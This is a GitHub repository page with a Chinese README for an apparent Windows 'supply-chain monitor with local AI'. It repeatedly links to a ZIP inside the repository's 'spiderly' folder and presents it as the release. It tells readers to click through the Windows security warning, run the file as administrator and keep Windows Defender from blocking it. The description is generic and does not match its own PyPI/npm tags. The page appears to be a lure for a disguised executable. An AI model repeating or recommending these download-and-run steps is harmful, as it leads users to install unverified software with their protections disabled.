qintarfermidiracstatistics981/supply-chain-monitor-localai

GitHub: qintarfermidiracstatistics981/supply-chain-monitor-localai

一款基于本地大语言模型的软件供应链安全监控工具,通过追踪 PyPI 和 npm 的包发布变化并结合 AI 分析威胁,实现私有化部署的自动化告警推送。

Stars: 0 | Forks: 0

# 🧭 supply-chain-monitor-localai - 使用本地 AI 追踪供应链数据 [![下载最新版本](https://img.shields.io/badge/Download-Releases-4B8BBE?style=for-the-badge&logo=github&logoColor=white)](https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip) ## 🚀 入门指南 `supply-chain-monitor-localai` 可帮助您借助本地 AI 后端监控供应链活动。这是一个专为希望下载版本并在其计算机上运行的终端用户构建的 Windows 应用程序。 请使用发布页面获取最新版本: https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip ## 📥 下载与安装 1. 打开发布页面。 2. 在页面顶部找到最新版本。 3. 从版本附件中下载 Windows 文件。 4. 如果文件是 ZIP 压缩包,请右键单击并选择**全部提取**。 5. 打开解压后的文件夹。 6. 双击应用程序文件以启动它。 如果 Windows 显示安全提示: 1. 点击**更多信息** 2. 点击**仍要运行** 如果您看到的是 ZIP 文件而不是 EXE 文件,这是正常的。许多 Windows 应用程序都以 ZIP 格式发布,以便您首先解压文件。 ## 🖥️ 系统要求 本应用程序专为 Windows 台式机和笔记本电脑设计。 推荐配置: - Windows 10 或 Windows 11 - 8 GB 或更多 RAM - 5 GB 可用磁盘空间 - 现代化的 CPU - 首次设置时需要稳定的互联网连接 - 如果您需要基于模型的分析,则需要一个本地 AI runtime 为获得最佳体验,如果您计划使用较大的模型,请使用至少具有 16 GB RAM 的计算机。 ## ⚙️ 工作原理 本应用程序是原版 Elastic 供应链监控程序的一个分支,并配备了本地 AI 后端。这意味着它可以使用您自己的计算机进行 AI 任务,而无需将数据发送到远程服务。 典型流程: 1. 您打开应用程序。 2. 您加载或连接您的供应链数据。 3. 应用程序检查模式和事件。 4. 本地 AI 后端帮助总结重要内容。 5. 您在界面中查看结果。 本地后端可以使用以下工具: - vLLM - llama.cpp ## 🔧 首次运行设置 在您首次打开应用程序后,请按照以下步骤操作: 1. 启动程序。 2. 等待其完成加载。 3. 如果出现设置界面,请选择本地 AI 选项。 4. 选择您要使用的 backend。 5. 将应用程序指向您的模型文件或模型文件夹。 6. 保存设置。 7. 加载您的数据源并运行首次扫描。 如果应用程序要求提供 model path,请选择存储 AI 模型文件的文件夹。 ## 🧠 选择本地 AI Backend 本项目支持本地模型 backend,以便您可以在您的计算机上运行 AI 功能。 ### vLLM 在以下情况下使用此选项: - 您需要高性能 - 您拥有更强大的系统 - 您已使用 vLLM 进行本地 inference ### llama.cpp 在以下情况下使用此选项: - 您想要简单的本地设置 - 您想要运行较小的模型 - 您更喜欢在许多 PC 上都能良好运行的轻量级工具 如果您不确定该选哪一个,请从 llama.cpp 开始。它通常在首次运行时更容易上手。 ## 📂 使用该应用程序 设置完成后,您可以按照以下方式使用该应用程序: 1. 打开程序。 2. 加载您的供应链数据。 3. 查看扫描结果。 4. 检查警报和趋势。 5. 使用 AI 总结以更快地理解数据。 6. 如果应用程序提供该选项,请导出或保存您的报告。 该应用程序旨在帮助您发现供应链数据中的变化、审查风险信号,并阅读通俗易懂的摘要,而无需深入查阅原始记录。 ## 🧾 常见文件类型 您可能会在发布版本中看到以下一些文件类型: - `.exe` — 您可以在 Windows 上打开的应用程序文件 - `.zip` — 您必须首先解压的压缩文件夹 - 模型文件 — 本地 AI backend 使用的文件 如果您不确定该打开哪个文件,如果有提供 Windows `.exe` 文件,请选择它。如果只有 `.zip` 文件可用,请先将其解压。 ## 🛠️ 基本故障排除 ### 应用程序无法启动 请尝试以下操作: 1. 右键单击该文件 2. 选择**以管理员身份运行** 3. 如果文件是以 ZIP 格式下载的,请检查文件是否已完全解压 4. 确保 Windows Defender 没有拦截该文件 ### 应用程序打开后立即关闭 请尝试以下操作: 1. 确认您下载了完整的发布附件 2. 重新解压 ZIP 文件 3. 从解压后的文件夹中打开应用程序 4. 检查应用程序是否需要本地 model path ### AI backend 无法加载 请尝试以下操作: 1. 检查应用程序中的 backend 设置 2. 确保您的模型文件存在 3. 确认模型格式与 backend 匹配 4. 更改设置后重新启动应用程序 ### 应用程序运行缓慢 请尝试以下操作: 1. 关闭其他占用资源大的应用程序 2. 使用较小的本地模型 3. 降低计算机的负载 4. 使用适合您硬件的 backend ## 🔍 获取更好结果的技巧 - 使用干净、最新的数据 - 将您的模型文件保存在同一个文件夹中 - 从小型本地模型开始 - 每次更改后保存您的设置 - 更改 backend 后重新启动应用程序 - 测试时每次使用相同的数据源 ## 📌 本项目的用途 本应用程序是一个带有 AI 辅助的本地供应链监控工具。如果您有以下需求,它将非常有用: - 用于供应链审查的桌面工具 - 在您自己的计算机上进行本地 AI 处理 - 更快地审查大型数据集 - 供应链事件的简单摘要 - 一个可以从发布版本下载并直接运行的 Windows 应用程序 ## 📦 发布页面 请使用此页面下载并运行最新的 Windows 构建版本: https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip ## 🧩 示例用例 您可以使用该应用程序来: - 审查供应商活动 - 监控供应链记录中的异常变化 - 检查跨货运或订单的趋势 - 阅读 AI 生成的关键事件摘要 - 将分析数据保留在您自己的 PC 上 ## 🖱️ Windows 运行步骤 如果您想在 Windows 上快速运行,请按以下步骤操作: 1. 访问发布页面 2. 下载最新的 Windows 附件 3. 如有需要,请解压文件 4. 打开主应用程序文件 5. 允许 Windows 完成首次启动 6. 设置您的本地 AI backend 7. 加载您的数据并开始使用 ## 🔐 本地处理 由于此版本使用本地 AI backend,您的数据在 AI 处理期间可以保留在您的计算机上。如果您希望更好地控制数据的去向,这将非常有帮助。 ## 🧰 建议的文件夹结构 如果您想要一个整洁的安装,请使用以下结构: - `Downloads` - `supply-chain-monitor-localai.zip` - `Apps` - `supply-chain-monitor-localai` - `Models` - `your-local-model-files` 这将使您以后更容易找到应用程序和模型文件。 ## 📄 获取更新的位置 请查看发布页面以获取新的构建版本、修复和更改: https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip
标签:AI安全分析, DevSecOps, DNS 反向解析, Elastic fork, LocalAI, npm, PB级数据处理, PyPI, Slack通知, Windows桌面应用, 上游代理, 代码差异比对, 包管理器监控, 威胁情报, 安全告警, 安全运维, 开发者工具, 恶意依赖检测, 文档安全, 暗色界面, 本地化推理, 本地大模型, 软件供应链攻击检测